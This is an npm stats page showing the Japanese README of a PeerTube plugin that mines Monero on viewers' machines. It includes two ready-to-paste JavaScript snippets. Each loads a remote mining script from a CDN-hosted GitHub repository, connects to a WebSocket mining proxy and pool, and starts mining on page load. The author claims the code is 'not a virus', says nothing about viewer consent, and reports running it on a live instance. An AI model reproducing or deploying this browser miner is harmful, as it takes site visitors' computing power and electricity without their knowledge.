npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

peertube-plugin-monero-miner

v1.1.2

Published

Monero web miner integration for PeerTube

Downloads

43

Readme

PeerTube plugin Quickstart

See https://docs.joinpeertube.org/#/contribute-plugins?id=write-a-plugintheme

下記のマイニングスクリプトを組み込めないかと色々やってみました。

開発者のNajm Ajmal様、ありがとうございます。

https://github.com/NajmAjmal/monero-webminer

Issueとかでご意見や改善案を出してくださると嬉しいです。

野獣動画2ndというPeerTubeのインスタンスで試験運用中です。

このプラグインについて

PeerTubeでMonero(XMR)のマイニングをPeerTubeを見ている方々のマシンのリソースを利用して行います。

マイニングスクリプトというプログラムの性質上、よくウィルス扱いされますがウィルスではありません。

一応動くと思いますがまだまだ開発途上なので不具合や改善するべき点は多いですからご了承ください。

実は当初はプラグインを作ろうとは思わず、Najm Ajmal様が手本として載せた下記のコードをPeertubeの設定にそのままコピペしていました。

しかしそれをするとマイニングに必要な「wss://」から始まるWebSocketに接続できなかったため、このプラグインを開発しました。

// Start Of Mining Code (Javascript)
var script = document.createElement("script");
script.src = "https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/script.js";
document.head.appendChild(script);

server = "wss://ny1.xmrminingproxy.com";
var pool = "moneroocean.stream";
var walletAddress = "4からスタートするMoneroのアドレス";
var workerId = "GH-XMR"
var threads = 2;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
// End Of Mining Code

ChatGPTの手も借りながらプラグイン開発をしていましたが、実際の所としてはHTMLのサンプルをJavaScriptでそのまま貼り付けられるようにして変換しました。

そうしてできた下記のコードをPeertubeの設定欄にあるJavaScriptの項目に必要な設定部分を変更して貼り付けるだけで動作する事が分かりました。

// 外部スクリプトを挿入
const externalScript = document.createElement("script");
externalScript.src = "https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/script.js";
externalScript.async = false;
document.head.appendChild(externalScript);

// 外部スクリプトのロード完了後に内部スクリプトを挿入
externalScript.onload = function() {
    console.log("Mining script loaded successfully.");

    const inlineScript = document.createElement("script");
    inlineScript.textContent = `
        server = "wss://ny1.xmrminingproxy.com";
        var pool = "moneroocean.stream";
        var walletAddress = "4からスタートするMoneroのアドレス";
        var workerId = "GH-XMR-JavaScript";
        var threads = 2;
        var password = "";
        startMining(pool, walletAddress, workerId, threads, password);
        throttleMiner = 20;
    `;
    document.body.appendChild(inlineScript);
    console.log("Mining started.");
};

externalScript.onerror = function() {
    console.error("Failed to load the mining script.");
};

数日間の悪戦苦闘は徒労だったんですが、他の方がプラグインを新規に開発するにあたりこのプラグインは残しておく事にします。

使い方

画像で大体伝わると思いますが、Moneroのウォレットのアドレスは4から始まるアドレスにして入力、プラグインの設定をアップデートして更新すれば自動でJavaScriptが挿入されてマイニングが始まるはずです。

ご支援とかリンクとか色々

・NPM(Peertubeのプラグインを公開しているページ)

https://www.npmjs.com/package/peertube-plugin-monero-miner

・プロフィール

https://x.com/PYU224

https://linksta.cc/@pyu224

・ご支援とか(Misskeyサーバーの規約と寄付の方法が載っています)

https://github.com/PYU224/misskey-data